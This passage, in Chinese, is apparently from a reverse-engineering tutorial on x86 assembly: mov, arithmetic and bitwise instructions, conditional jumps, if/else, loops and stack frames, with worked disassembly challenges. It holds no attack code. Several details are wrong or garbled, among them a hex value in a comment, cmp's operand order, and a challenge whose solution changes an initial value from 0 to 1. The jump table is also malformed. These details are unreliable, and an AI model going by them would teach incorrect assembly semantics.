lea ebx,[0x403000] *; loads the address 0x403000 into ebx*
lea eax, [ebx]     *; if ebx = 0x403000, then eax will also contain 0x403000*

有时,你会遇到类似以下的指令。这些指令与前面提到的指令相同,都是将存储在内存地址(由 ebp-4 指定)中的数据传送到寄存器中。dword ptr 只是表示一个 4 字节(dword)的值从由 ebp-4 指定的内存地址移动到 eax

mov eax,dword ptr [ebp-4]  *; same as mov eax,[ebp-4]*

3.4 从寄存器到内存的值的移动

你可以通过交换操作数,将值从寄存器移动到内存,使得内存地址位于左侧(目标),而寄存器位于右侧(源):

mov [0x403000],eax *; moves 4 byte value in eax to memory location starting at 0x403000*
mov [ebx],eax   *; moves 4 byte value in eax to the memory address specified by ebx*

有时,你会遇到类似以下的指令。这些指令将常量值移动到内存位置;dword ptr 只是指定一个 dword 值(4 字节)被移动到内存位置。同样,word ptr 指定一个 word(2 字节)被移动到内存位置:

mov dword ptr [402000],13498h *; moves dword value 0x13496 into the address 0x402000*
mov dword ptr [ebx],100   *; moves dword value 100 into the address specified by ebx*
mov word ptr [ebx], 100    *; moves a word 100 into the address specified by ebx*

在之前的情况下,如果ebx包含内存地址0x402000,那么第二条指令将10000 00 00 64(4 字节)的形式复制到内存位置0x402000开始的地址,第三条指令将10000 64(2 字节)的形式复制到内存位置0x40200开始的地址,如下所示:

让我们来看一个简单的挑战。

3.5 拆解挑战

以下是一个简单 C 代码片段的反汇编输出。你能搞清楚这段代码做了什么吗?并且你能将它翻译回伪代码(高级语言等效代码)吗?请运用到目前为止你学到的所有概念来解决这个挑战。挑战的答案将在下一节中介绍,解决挑战后我们还将回顾原始的 C 代码片段:

mov dword ptr [ebp-4],1  ➊
mov eax,dword ptr [ebp-4]  ➋
mov dword ptr [ebp-8],eax  ➌

3.6 反汇编解决方案

之前的程序将一个值从一个内存位置复制到另一个位置。在➊处,程序将dword1复制到内存地址(由ebp-4指定)。在➋处,相同的值被复制到eax寄存器中,然后在➌处被复制到另一个内存地址ebp-8

反汇编代码可能一开始难以理解,所以让我来分解一下,使其变得简单。我们知道,在像 C 这样的高级语言中,你定义的变量(例如int val;)其实只是一个内存地址的符号名称(如前所述)。根据这个逻辑,让我们识别内存地址引用并给它们起个符号名称。在反汇编程序中,我们有两个地址(方括号内):ebp-4ebp-8。让我们给它们起名字,假设ebp-4 = aebp-8 = b。现在,程序应该像这样:

mov dword ptr [a],1     *; treat it as mov [a],1*
mov eax,dword ptr [a]   *; treat it as mov eax,[a]*
mov dword ptr [b],eax   *; treat it as mov [b],eax*

在高级语言中,当你给一个变量赋值,比如val = 1,值1被移动到由val变量表示的地址。在汇编中,这可以表示为mov [val], 1。换句话说,val = 1在高级语言中与汇编中的mov [val],1是等效的。运用这个逻辑,之前的程序可以写成一个高级语言的等效代码:

a = 1
eax = a
b = eax ➍

记住,寄存器是 CPU 用于临时存储的地方。所以,让我们将所有寄存器名称替换为=符号右侧的值(例如,将eax替换为其值a,位于➍)。结果代码如下所示:

a = 1
eax = a ➎
b = a

在之前的程序中,eax寄存器用于临时存储a的值,因此我们可以删除第➎行的条目(即删除=符号左侧包含寄存器的条目)。现在我们得到的是简化后的代码,如下所示:

a = 1
b = a

在高级语言中,变量有数据类型。让我们尝试确定这些变量ab的数据类型。有时,可以通过了解变量如何被访问和使用来确定数据类型。从反汇编的代码中,我们知道dword值(4 字节)1被移入变量a,然后又复制到b。现在我们知道这些变量的大小为 4 字节,这意味着它们可能是intfloat指针类型。为了确定确切的数据类型,让我们考虑以下内容。

变量ab不能是float类型,因为从反汇编代码中我们知道eax参与了数据传输操作。如果是浮点值,则会使用浮点寄存器,而不是使用像eax这样的通用寄存器。

在这种情况下,变量ab不能是指针,因为值1不是一个有效的地址。所以,我们可以猜测ab应该是int类型。

基于这些观察结果,我们现在可以将程序重写如下:

int a;
int b;

a = 1;
b = a;

现在我们已经解决了这个问题,让我们来看一下反汇编输出的原始 C 代码片段。原始 C 代码片段如下所示。将其与我们确定的结果进行对比。注意,尽管无法完全恢复原始的 C 程序(并不总是能恢复出完全相同的 C 程序),但我们仍然能够构建一个与原始程序类似的程序,现在也更容易确定程序的功能:

int x = 1;
int y;
y = x;

如果你正在反汇编一个较大的程序,那么标记所有内存地址会非常困难。通常,你会使用反汇编器或调试器的功能来重命名内存地址并进行代码分析。你将在下一章学习如何使用反汇编器的功能进行代码分析。当你处理较大的程序时,最好将程序分解成小块代码,翻译成你熟悉的某种高级语言,然后对其余的代码块做同样的事情。

4. 算术操作

在汇编语言中,你可以执行加法、减法、乘法和除法。加法和减法分别使用addsub指令进行。这些指令接受两个操作数:目标add指令将源操作数与目标操作数相加,并将结果存储在目标中。sub指令从目标操作数中减去源操作数,结果存储在目标中。这些指令根据操作设置或清除eflags寄存器中的标志。这些标志可以在条件语句中使用。如果结果为零,sub指令会设置零标志(zf),如果目标值小于源值,则设置进位标志(cf)。以下概述了这些指令的一些变体:

add eax,42      *; same as eax = eax+42*
add eax,ebx     *; same as eax = eax+ebx*
add [ebx],42    *; adds 42 to the value in address specified by ebx*
sub eax, 64h    *; subtracts hex value 0x64 from eax, same as eax = eax-0x64*

有一个特殊的增量(inc)和减量(dec)指令,可用于向寄存器或内存位置加1或减1

inc eax    *; same as eax = eax+1*
dec ebx    *; same as ebx = ebx-1*

乘法是使用mul指令完成的。mul指令只接受一个操作数;该操作数与alaxeax寄存器的内容相乘。乘法的结果存储在axdx 和 axedx 和 eax寄存器中。

如果mul指令的操作数为8 位(1 字节),则与 8 位al寄存器相乘,并将乘积存储在ax寄存器中。如果操作数为16 位(2 字节),则与ax寄存器相乘,并将乘积存储在dxax寄存器中。如果操作数为32 位(4 字节),则与eax寄存器相乘,并将乘积存储在edxeax寄存器中。将乘积存储在比输入值大一倍的寄存器中的原因是,当两个值相乘时,输出值可能比输入值大得多。以下概述了mul指令的变体:

mul ebx  *;ebx is multiplied with eax and result is stored in EDX and EAX*
mul bx   *;bx is multiplied with ax and the result is stored in DX and AX*

除法是使用div指令执行的。div只接受一个操作数,可以是寄存器或内存引用。要执行除法,将被除数(要除的数)放入edx 和 eax寄存器中,其中edx保存最高有效dword。执行div指令后,商存储在eax中,余数存储在edx寄存器中:

div ebx   *; divides the value in EDX:EAX by EBX*

4.1 反汇编挑战

让我们接受另一个简单的挑战。以下是一个简单 C 程序的反汇编输出。您能够弄清楚这个程序的功能,并将其翻译回伪代码吗?

mov dword ptr [ebp-4], 16h
mov dword ptr [ebp-8], 5
mov eax, [ebp-4]
add eax, [ebp-8]
mov [ebp-0Ch], eax
mov ecx, [ebp-4]
sub ecx, [ebp-8]
mov [ebp-10h], ecx

4.2 反汇编解决方案

您可以逐行阅读代码并尝试确定程序的逻辑,但如果将其翻译回某种高级语言,则会更容易。为了理解前述程序,让我们使用之前介绍的相同逻辑。前述代码包含四个内存引用。首先,让我们标记这些地址 - ebp-4=aebp-8=bebp-0Ch=cebp-10H=d。标记地址后,它翻译为以下内容:

mov dword ptr [a], 16h
mov dword ptr [b], 5
mov eax, [a]
add eax, [b]
mov [c], eax
mov ecx, [a]
sub ecx, [b]
mov [d], ecx

现在,让我们将上述代码翻译成伪代码(高级语言等效)。代码如下:

a = 16h    *; h represents hexadecmial, so 16h (0x16) is 22 in decimal*
b = 5
eax = a
eax = eax + b  ➊
c = eax  ➊ 
ecx = a
ecx = ecx-b  ➊
d = ecx  ➊

将所有寄存器名称替换为等号右侧(即➊处)的相应值,我们得到以下代码:

a = 22
b = 5
eax = a  ➋
eax = a+b  ➋
c = a+b
ecx = a  ➋
ecx = a-b  ➋
d = a-b

在去除所有左侧含有寄存器的=符号处的条目后,我们得到以下代码:

a = 22
b = 5
c = a+b
d = a-b

现在,我们已将八行汇编代码简化为四行伪代码。此时,你可以看出代码执行的是加法和减法操作,并将结果存储。你可以根据代码中变量的大小和使用方式(上下文)来推断变量类型,如前所述。变量ab用于加法和减法,因此这些变量必须是整数类型,而变量cd存储整数加法和减法的结果,因此可以推测它们也是整数类型。现在,前面的代码可以写成如下形式:

int a,b,c,d;
a = 22;
b = 5;
c = a+b;
d = a-b;

如果你对反汇编输出的原始 C 程序感到好奇,以下是原始的 C 程序来满足你的好奇心。注意,我们是如何将汇编代码写回到其等效的高级语言中的:

int num1 = 22;
int num2 = 5;
int diff;
int sum;
sum = num1 + num2;
diff = num1 - num2;

5. 位运算

在这一部分,你将学习操作位的汇编指令。位是从最右侧开始编号的;最右边的位(最低有效位)的位位置是0,位位置向左增加。最左边的位称为最高有效位。以下是一个示例,展示了一个字节5D (0101 1101)的位及其位位置。相同的逻辑适用于worddwordqword

位运算指令之一是not指令;它只需要一个操作数(既作为源操作数又作为目标操作数),并将所有位取反。如果eax寄存器包含FF FF 00 00 (11111111 11111111 00000000 00000000),则以下指令会将所有位取反,并将结果存储在eax寄存器中。因此,eax寄存器将包含00 00 FF FF (00000000 00000000 11111111 11111111)

not eax

andorxor指令执行位与(and)、位或(or)和位异或(xor)操作,并将结果存储到目标位置。这些操作类似于 C 语言或 Python 语言中的and (&)or (|)xor (^)操作。以下示例中,and操作会对bl寄存器的位0cl寄存器的位0bl寄存器的位1cl寄存器的位1等执行操作。结果存储在bl寄存器中:

and bl,cl  *; same as bl = bl & cl*

在前面的示例中,如果bl寄存器包含5 (0000 0101)cl寄存器包含6 (0000 0110),那么and操作的结果将是4 (0000 0100),如图所示:

                    bl: 0000 0101
                    cl: 0000 0110
--------------------------------------
After and operation bl: 0000 0100

同样,orxor操作会对操作数的相应位执行操作。以下展示了一些示例指令:

or eax,ebx   *; same as eax = eax | ebx*
xor eax,eax  *; same eax = eax^eax, this operation clears the eax register*

shr(右移位)和shl(左移位)指令需要两个操作数(目标和计数)。目标可以是寄存器或内存引用。其一般形式如下所示。这两条指令将目标中的比特按照计数操作数指定的位数向右或向左移动;这些指令执行的操作与 C 或 Python 编程语言中的shift left (<<)shift right(>>)相同:

shl dst,count

在下面的示例中,第一条指令(xor eax, eax)清空了eax寄存器,随后将4移入al寄存器,al寄存器的内容(即4 (0000 0100))被左移了2位。经过该操作后(最左侧的两个比特被移除,右侧添加了两个0比特),操作完成后,al寄存器将包含0001 0000(即0x10):

xor eax,eax
mov al,4 
shl al, 2

有关位运算符如何工作的详细信息,请参阅en.wikipedia.org/wiki/Bitwise_operations_in_Cwww.programiz.com/c-programming/bitwise-operators

rol(左循环移位)和ror(右循环移位)指令类似于移位指令。与移位操作不同,它们不会移除被移位的比特,而是将它们旋转到另一端。以下是一些示例指令:

rol al,2

在前面的示例中,如果al包含0x44 (0100 0100),则rol操作的结果将是0x11 (0001 0001)

6. 分支与条件语句

本节将重点讨论分支指令。到目前为止,你已经看到了按顺序执行的指令;但是在许多情况下,你的程序需要在不同的内存地址执行代码(如if/else语句、循环、函数等)。这可以通过使用分支指令来实现。分支指令将执行控制转移到不同的内存地址。为了进行分支,汇编语言中通常使用跳转指令。跳转分为两种:条件跳转无条件跳转

6.1 无条件跳转

无条件跳转中,跳转总是会发生。jmp指令告诉 CPU 去执行不同内存地址的代码。这类似于 C 语言中的goto语句。当执行以下指令时,控制权会转移到跳转地址,并从那里开始执行:

jmp <jump address>

6.2 条件跳转

条件跳转中,控制会根据某些条件转移到一个内存地址。要使用条件跳转,你需要能够改变标志(设置清除)的指令。这些指令可以执行算术操作或按位操作。x86 指令提供了 cmp 指令,它将第二操作数(源操作数)第一操作数(目标操作数)中减去,并在不将差值存储到目标中的情况下改变标志。在以下指令中,如果 eax 包含值 5,那么 cmp eax,5 会设置零标志(zf=1),因为这次操作的结果为零:

cmp eax,5  *; subtracts eax from 5, sets the flags but result is not stored*

另一种改变标志而不存储结果的指令是 test 指令。test 指令执行按位 and 操作,并在不存储结果的情况下改变标志。在以下指令中,如果 eax 的值为零,那么零标志将被设置(zf=1),因为当你 and 00 时,结果是 0

test eax,eax *; performs and operation, alters the flags but result in not stored*

cmptest 指令通常与条件 jump 指令一起使用,用于决策判断。

条件跳转指令有几种变体;这里展示了其一般格式:

jcc <address>

上述格式中的 cc 表示条件。这些条件是根据 eflags 寄存器中的位来评估的。以下表格列出了不同的条件跳转指令、它们的别名以及用来评估条件的 eflags 寄存器中的位:

指令 描述 别名 标志
jz 如果为零则跳转 `je** **zf=1`
jnz 如果不为零则跳转 `jne** **zf=0`
jl 如果小于则跳转 `jnge** **sf=1`
jle 如果小于或等于则跳转 `jng** **zf=1 或 sf=1`
jg 如果大于则跳转 `jnle** **zf=0 和 sf=0`
jge 如果大于或等于则跳转 `jnl** **sf=0`
jc 如果进位则跳转 `jb,jnae** **cf=1`
jnc 如果无进位则跳转 `jnb,jae** ** .`

6.3 if 语句

从逆向工程的角度来看,识别分支/条件语句非常重要。为了做到这一点,理解分支/条件语句(如 ifif-elseif-else if-else)是如何翻译成汇编语言是至关重要的。让我们看一个简单的 C 程序的例子,并尝试理解 if 语句是如何在汇编层面实现的:

if (x == 0) {
   x = 5;
}
x = 2;

在之前的 C 程序中,如果条件为真(if x==0),则执行if块内的代码;否则,跳过if块,控制转移到x=2。可以把控制转移理解为跳转。现在,问问自己:什么时候会发生跳转?当x不等于0时就会发生跳转。这正是前述代码在汇编语言中的实现方式(如下所示);请注意,在第一条汇编指令中,x0进行了比较,第二条指令中,当x不等于0时,将跳转到end_if(换句话说,它会跳过mov dword ptr [x],5并执行mov dword ptr [x],2)。请注意,C 程序中的相等条件(==)在汇编语言中被反转为“不等于”(jne):

cmp dword ptr [x], 0
jne end_if
mov dword ptr [x], 5

end_if:
mov dword ptr [x], 2

以下截图展示了 C 语言编程语句和对应的汇编指令:

6.4 If-Else 语句

现在,大家一起看看if/else语句是如何转换为汇编语言的。我们以以下 C 代码为例:

if (x == 0) {
    x = 5;
}
else {
    x = 1;
}

在上述代码中,尝试确定在什么情况下会发生跳转(控制会被转移)。有两种情况:如果x不等于0,跳转到else块;或者,如果x等于0if x == 0),那么在执行x=5if块的结尾)后,将跳转到跳过else块,直接执行else块后的代码。

以下是该 C 程序的汇编语言翻译;请注意,在第一行中,x的值与0进行了比较,如果x不等于0(条件被反转,如前所述),将跳转到else块。在else块之前,请注意有一个无条件跳转到end。这个跳转确保了如果x等于0,执行完if块内的代码后,跳过else块并直接到达程序末尾:

cmp dword ptr [x], 0
jne else
mov dword ptr [x], 5
jmp end

else:
mov dword ptr [x], 1

end:

6.5 If-Elseif-Else 语句

以下是包含if-ElseIf-else语句的 C 代码:

if (x == 0) {
  x = 5;
}
else if (x == 1) {
  x = 6;
}
else {
  x = 7;
}

根据上述代码,尝试确定何时会发生跳转(控制转移)。有两个条件跳转点;如果x不等于0,将跳转到else_if块,如果x不等于1(这是else if中的条件检查),跳转将发生到else。此外,还有两个无条件跳转:在if块内x=5if块结束时)和在else ifx=6else if块结束时)。这两个无条件跳转跳过了else语句,直接到达程序末尾。

以下是显示条件跳转和无条件跳转的汇编语言翻译:

cmp dword ptr [ebp-4], 0
jnz else_if
mov dword ptr [ebp-4], 5
jmp short end

else_if:
 cmp dword ptr [ebp-4], 1
 jnz else
 mov dword ptr [ebp-4], 6
 jmp short end

else:
 mov dword ptr [ebp-4], 7
end:

6.6 汇编反汇编挑战

以下是程序的反汇编输出;让我们将以下代码转换为它的高级语言等效形式。运用你之前学到的技术和概念来解决这个挑战:

mov dword ptr [ebp-4], 1
cmp dword ptr [ebp-4], 0
jnz loc_40101C
mov eax, [ebp-4]
xor eax, 2
mov [ebp-4], eax
jmp loc_401025

loc_40101C:
 mov ecx, [ebp-4]
 xor ecx, 3
 mov [ebp-4], ecx

loc_401025:

6.7 反汇编解决方案

我们从为地址(ebp-4)分配符号名称开始。将符号名称分配给内存地址引用后,我们得到以下代码:

mov dword ptr [x], 1
cmp dword ptr [x], 0  ➊
jnz loc_40101C  ➋
mov eax, [x]  ➍
xor eax, 2
mov [x], eax
jmp loc_401025  ➌

loc_40101C:  
mov ecx, [x]  ➎
xor ecx, 3  
mov [x], ecx   ➏  

loc_401025:

在前面的代码中,注意 ➊ 和 ➋ 处的 cmpjnz 指令(这是一个条件语句),并注意 jnzjne 相同(跳转如果不相等)。既然我们已经确定了条件语句,让我们尝试确定这是什么类型的条件语句(ifif/elseif/else if/else 等等);为此,请关注跳转。➋ 处的条件跳转跳转到 loc_401010C,而在 loc_40101C 之前,有一个无条件跳转到 loc_401025。根据我们之前学到的知识,这具备了 if-else 语句的特征。准确来说,➍ 到 ➌ 之间的代码是 if 块的一部分,而 ➎ 到 ➏ 之间的代码是 else 块的一部分。为了提高可读性,我们将 loc_40101C 重命名为 else,将 loc_401025 重命名为 end

mov dword ptr [x], 1  ➐
cmp dword ptr [x], 0  ➊
jnz else  ➋
mov eax, [x]  ➍
xor eax, 2
mov [x], eax  ➑
jmp end  ➌

else:
mov ecx, [x]  ➎
xor ecx, 3
mov [x], ecx  ➏
end:

在前面的汇编代码中,x 在 ➐ 处被赋值为 1x 的值与 0 比较,如果等于 0(➊ 和 ➋),则 x2 做异或运算,并将结果存储回 x(➍ 到 ➑)。如果 x 不等于 0,则 x3 做异或运算(➎ 到 ➏)。

阅读汇编代码有点复杂,因此让我们将前面的代码写成高级语言的等效代码。我们知道 ➊ 和 ➋ 是一个 if 语句,你可以将其理解为“如果 x 不等于 0,则跳转到 else” (记住 jnzjne 的别名)。

如果你回想一下,观察 C 代码如何转换为汇编,条件在转换为汇编代码时被反转了。既然我们现在看到的是汇编代码,为了将这些语句写回到高级语言,你需要反转条件。为此,问问自己这个问题:在 ➋ 处,何时跳转不会发生?跳转不会发生的情况是当 x 等于 0 时,因此你可以将前面的代码写成伪代码,如下所示。请注意,在以下代码中,cmpjnz 指令被转换为一个 if 语句;另外,注意条件是如何被反转的:

x = 1
if(x == 0)
{
  eax = x
  eax = eax ^ 2  ➒
  x = eax  ➒
} 
else {
 ecx = x
 ecx = ecx ^ 3  ➒
 x = ecx  ➒
}

现在我们已经确定了条件语句,接下来让我们将 = 操作符右侧的所有寄存器(在 ➒ 处)替换为它们对应的值。这样做之后,我们得到以下代码:

x = 1
if(x == 0)
{
  eax = x  ➓
  eax = x ^ 2  ➓
  x = x ^ 2
} 
else {
  ecx = x  ➓
  ecx = x ^ 3  ➓
  x = x ^ 3
}

移除所有包含在 = 操作符左侧的寄存器(在 ➓ 处),我们得到以下代码:

x = 1;
if(x == 0)
{
  x = x ^ 2;
} 
else {
  x = x ^ 3;
}

如果你感兴趣,下面是拆解挑战中使用的原始 C 程序,与你在前面的代码片段中看到的进行比较。正如你所见,我们能够将多行汇编代码还原回它们对应的高级语言代码。现在,相比直接阅读汇编代码,这段代码更容易理解:

int a = 1;
if (a == 0) 
{
    a = a ^ 2;
}
else {
    a = a ^ 3;
}

7. 循环

循环会执行一段代码,直到某个条件满足为止。最常见的两种循环类型是 forwhile。到目前为止,你看到的跳转和条件跳转都是向前跳转,而循环是向后跳转的。首先,让我们理解 for 循环的功能。for 循环的一般形式如下所示:

for (initialization; condition; update_statement ) {
    block of code
}

这是 for 语句的工作原理。initialization 语句只执行一次,之后会评估 condition;如果条件为真,则执行 for 循环内部的代码块,然后执行 update_statement

while 循环与 for 循环相同。在 for 循环中,initializationconditionupdate_statment 一起指定,而在 while 循环中,initializationcondition 检查是分开的,并且 update_statement 在循环内部指定。while 循环的一般形式如下所示:

initialization
while (condition)
{
    block of code
    update_statement
}

让我们通过以下来自简单 C 程序的代码片段,了解循环在汇编级别是如何实现的:

int i;
for (i = 0; i < 5; i++) {
}

上述代码可以使用 while 循环来编写,如下所示:

int i = 0;
while (i < 5) { 
    i++;
}

我们知道,跳转用于实现条件和循环,因此让我们从跳转的角度来思考。在 whilefor 循环中,我们试图确定所有会导致跳转的情况。在这两种情况下,当 i 大于或等于 5 时,跳转会发生,控制会转移到循环外(换句话说,跳到循环之后)。当 i 小于 5 时,while 循环内部的代码会执行,且在执行 i++ 后会进行向后的跳转,以再次检查条件。

以下是前述代码在汇编语言中的实现方式(如下所示)。在下面的汇编代码中,在 ➊ 处,注意有一个跳转到某个地址(标记为 while_start);这表示一个循环。在循环内部,条件在 ➋ 和 ➌ 通过使用 cmpjge(如果大于或等于则跳转)指令进行检查;这里的代码在检查 i 是否大于或等于 5。如果满足该条件,则跳转到 end(跳出循环)。注意,在 ➌ 处,C 语言中的 小于**(**<) 条件通过 jge 指令被反转为 大于或等于**(**>=)。初始化在 ➍ 处进行,其中 i 被赋值为 0

  mov [i],0  ➍

while_start:
  cmp [i], 5  ➋
  jge end  ➌
  mov eax, [i]
  add eax, 1
  mov [i], eax
  jmp while_start  ➊
end:

以下图显示了 C 编程语句和对应的汇编指令:

7.1 拆解挑战

让我们将以下代码转换为其高级等效代码。使用你到目前为止学到的技术和概念来解决这个挑战:

 mov dword ptr [ebp-8], 0
 mov dword ptr [ebp-4], 0

loc_401014:
 cmp dword ptr [ebp-4], 4
 cmp dword ptr [ebp-4], 4
 jge loc_40102E
 mov eax, [ebp-8]
 add eax, [ebp-4]
 mov [ebp-8], eax
 mov ecx, [ebp-4]
 add ecx, 1
 mov [ebp-4], ecx
 jmp loc_401014

loc_40102E:

7.2 反汇编解决方案

前面的代码包含两个内存地址(ebp-4ebp-8);我们将ebp-4重命名为x,将ebp-8重命名为y。修改后的代码如下所示:

 mov dword ptr [y], 1
 mov dword ptr [x], 0

loc_401014:
 cmp dword ptr [x], 4  ➋
 jge loc_40102E  ➌ 
 mov eax, [y]
 add eax, [x]
 mov [y], eax
 mov ecx, [x]  ➎
 add ecx, 1
 mov [x], ecx  ➏
 jmp loc_401014 ➊ 

loc_40102E:  ➍

在前面的代码中,在➊处,有一个跳转到loc_401014的操作,表示这是一个循环;因此,我们将loc_401014重命名为loop。在➋和➌处,检查变量x的条件(使用cmpjge);代码在检查x是否大于或等于4。如果条件成立,它将跳出循环,跳转到loc_40102E(在➍处)。x的值会增加1(从➎到➏),这就是更新语句。基于这些信息,可以推测x是控制循环的循环变量。现在,我们可以将前面的代码写成高级语言的等效代码;但为了做到这一点,记住我们需要将条件从jge大于或等于时跳转)反转为小于时跳转。修改后的代码如下所示:

y = 1
x = 0
while (x<4) {
eax = y
eax = eax + x  ➐
y = eax  ➐
ecx = x
ecx = ecx + 1  ➐
x = ecx  ➐
}

=运算符右侧的所有寄存器(在➐处)替换为它们之前的值,我们得到以下代码:

y = 1
x = 0
while (x<4) {
eax = y  ➑
eax = y + x  ➑
y = y + x
ecx = x  ➑
ecx = x + 1  ➑
x = x + 1
}

现在,去除所有在=符号左侧包含寄存器的条目(在➑处),我们得到以下代码:

y = 1;
x = 0;
while (x<4) {
y = y + x;
x = x + 1;
}

如果你感到好奇,以下是反汇编输出的原始 C 程序。比较我们之前确定的代码和下面来自原始程序的代码;注意到如何逆向工程并反编译反汇编输出到其原始等效代码:

int a = 1;
int i = 0;
while (i < 4) {
a = a + i;
i++;
}

8. 函数

函数是一个执行特定任务的代码块;通常,程序包含许多函数。当调用一个函数时,控制权会转移到不同的内存地址。然后,CPU 执行该内存地址处的代码,并在代码执行完毕后返回(控制权转移回来)。函数包含多个组成部分:函数可以通过参数接收数据作为输入,具有包含执行代码的函数体,包含用于临时存储值的局部变量,并且可以输出数据。

参数、局部变量和函数控制流都存储在内存中的一个重要区域——

8.1 栈

栈是操作系统在创建线程时分配的一块内存区域。栈是以 后进先出(LIFO) 的结构组织的,这意味着你压入栈中的最新数据将是第一个从栈中移除的数据。你通过使用 push 指令将数据(称为 压栈)压入栈中,使用 pop 指令从栈中移除数据(称为 弹栈)。push 指令将一个 4 字节 的值压入栈中,pop 指令从栈顶弹出一个 4 字节 的值。pushpop 指令的通用形式如下所示:

push source     ; pushes source on top of the stack
pop destination ; copies value from the top of the stack to the destination

栈是从高地址增长到低地址的。这意味着,当栈被创建时,esp 寄存器(也称为 栈指针)指向栈顶(高地址),随着你使用 push 指令将数据压入栈中,esp 寄存器会减少 4esp-4)指向一个更低的地址。当你使用 pop 指令弹出一个值时,esp 会增加 4esp+4)。让我们看看以下汇编代码,尝试理解栈的内部运作:

push 3
push 4
pop ebx
pop edx

在执行上述指令之前,esp 寄存器指向栈顶(例如,地址为 0xff8c),如图所示:

在执行第一条指令(push 3)后,ESP 被减去 4(因为 push 指令将一个 4 字节 的值压入栈中),并且值 3 被放入栈中;此时,ESP 指向栈顶,地址为 0xff88。执行第二条指令(push 4)后,esp 再次减去 4;此时,esp 的值为 0xff84,它现在是栈顶。当执行 pop ebx 时,栈顶的值 4 被移到 ebx 寄存器中,esp 增加了 4(因为 pop 从栈中移除一个 4 字节 的值)。因此,esp 此时指向栈顶,地址为 0xff88。同样地,当执行 pop edx 指令时,栈顶的值 3 被放入 edx 寄存器中,esp 返回到原来的位置 0xff8c

在上图中,虽然栈中的值从逻辑上被移除,但它们在内存中物理上仍然存在。而且,注意到最近压入的值(4)是第一个被移除的。

8.2 调用函数

汇编语言中的 call 指令可以用来调用一个函数。call 指令的通用形式如下所示:

call <some_function>

从代码分析的角度来看,可以将some_function视为一个包含代码块的地址。当执行call指令时,控制权转移到some_function(一个代码块),但在此之前,它会通过将下一个指令的地址(即call <some_function>后面的指令)推入堆栈来保存该地址。推入堆栈的call指令后的地址被称为返回地址。一旦some_function执行完毕,存储在堆栈上的返回地址会从堆栈中弹出,执行将从弹出的地址继续。

8.3 从函数返回

在汇编语言中,要从函数返回,使用ret指令。该指令从堆栈顶端弹出地址;弹出的地址会被放入eip寄存器中,然后控制权转移到该弹出的地址。

8.4 函数参数和返回值

x86架构中,函数接受的参数会被推入堆栈中,返回值则放置在eax寄存器中。

为了理解这个函数,让我们以一个简单的 C 程序为例。当执行以下程序时,main()函数调用test函数并传递两个整数参数:23。在test函数内部,参数的值被复制到局部变量xy中,并且test返回一个值0返回值):

int test(int a, int b)
{ 
    int x, y; 
    x = a; 
    y = b;        
    return 0;
}

int main()
{ 
   test(2, 3); 
   return 0; 
}

首先,让我们看看main()函数中的语句如何被翻译成汇编指令:

push 3  ➊
push 2  ➋
call test  ➌
add esp, 8 ; after test is exectued, the control is returned here
xor eax, eax

前三条指令,➊、➋和➌,表示函数调用test(2,3)。参数(23)在函数调用之前按反向顺序(从右到左)推入堆栈,第二个参数3在第一个参数2之前被推入堆栈。推送参数后,函数test()在➌处被调用;结果,下一个指令add esp,8的地址被推入堆栈(这就是返回地址),然后控制权转移到test函数的起始地址。假设在执行指令➊、➋、➌之前,esp(栈指针)指向堆栈顶部的地址0xFE50。以下图示展示了执行➊、➋、➌前后发生的情况:

现在,让我们聚焦于test函数,如下所示:

int test(int a, int b)
{ 
   int x, y; 
   x = a; 
   y = b;        
   return 0;
}

以下是test函数的汇编语言翻译:

push ebp  ➍
mov ebp, esp  ➎
sub esp, 8  ➑
mov eax, [ebp+8]
mov [ebp-4], eax
mov ecx, [ebp+0Ch]
mov [ebp-8], ecx
xor eax, eax  ➒
mov esp, ebp  ➏
pop ebp  ➐
ret  ➓

第一条指令➍将ebp(也叫帧指针)保存在堆栈中;这样做是为了在函数返回时能够恢复它。由于将ebp的值压入堆栈,esp寄存器将减少4。在下一条指令(➎)中,esp的值被复制到ebp中;因此,espebp都指向堆栈的顶部,如下所示。从现在开始,ebp将保持在固定位置,应用程序将使用ebp来引用函数参数和局部变量:

通常你会在大多数函数的开始找到push ebpmov ebp, esp这两条指令;这两条指令被称为函数前导。这些指令负责为函数设置环境。在➏和➐处,两个指令(mov esp,ebppop ebp)执行函数前导的逆操作。这些指令被称为函数尾部,它们在函数执行完毕后恢复环境。

在➑处,sub esp,8进一步减少了esp寄存器的值。这样做是为了为局部变量(xy)分配空间。现在,堆栈看起来如下所示:

请注意,ebp仍然位于固定位置,函数参数可以通过从ebp的正偏移量来访问(ebp + 某个值)。局部变量可以通过从ebp的负偏移量来访问(ebp - 某个值)。例如,在上图中,第一个参数(2)可以通过地址ebp+8访问(即a的值),第二个参数可以通过地址ebp+0xc访问(即b的值)。局部变量可以通过地址ebp-4(局部变量x)和ebp-8(局部变量y)访问。

大多数编译器(如微软的 Visual C/C++编译器)使用基于固定ebp的堆栈帧来引用函数参数和局部变量。GNU 编译器(如 gcc)默认不使用基于ebp的堆栈帧,但它们使用一种不同的技术,其中使用ESP(堆栈指针)寄存器来引用函数参数和局部变量。

函数内部的实际代码位于➑和➏之间,如下所示:

mov eax, [ebp+8]
mov [ebp-4], eax
mov ecx, [ebp+0Ch]
mov [ebp-8], ecx

我们可以将参数ebp+8重命名为a,将ebp+0Ch重命名为b。地址ebp-4可以重命名为变量xebp-8重命名为变量y,如下所示:

mov eax, [a]
mov [x], eax
mov ecx, [b]
mov [y], ecx

使用前面讲解的技巧,以上语句可以翻译为以下伪代码:

x = a
y = b

在➒处,xor eax,eaxeax的值设置为0。这是返回值(return 0)。返回值总是存储在eax寄存器中。在➏和➐处的函数尾部指令恢复了函数环境。➏处的指令mov esp,ebpebp的值复制到esp中;结果,esp将指向ebp所指向的地址。➐处的pop ebp从栈中恢复旧的ebp;此操作后,esp将增加4。执行完➏和➐处的指令后,栈的状态如下所示:

在➓处,当执行ret指令时,栈顶的返回地址被弹出并放入eip寄存器中。同时,控制转移到返回地址(即main函数中的add esp,8)。由于弹出了返回地址,esp增加了4。此时,控制从test函数返回到main函数。main中的指令add esp,8清理了栈,esp被恢复到其原始位置(地址0xFE50,即我们开始的地方),如下所示。此时,栈上的所有值从逻辑上被移除,尽管它们在物理上仍然存在。函数的工作原理就是如此:

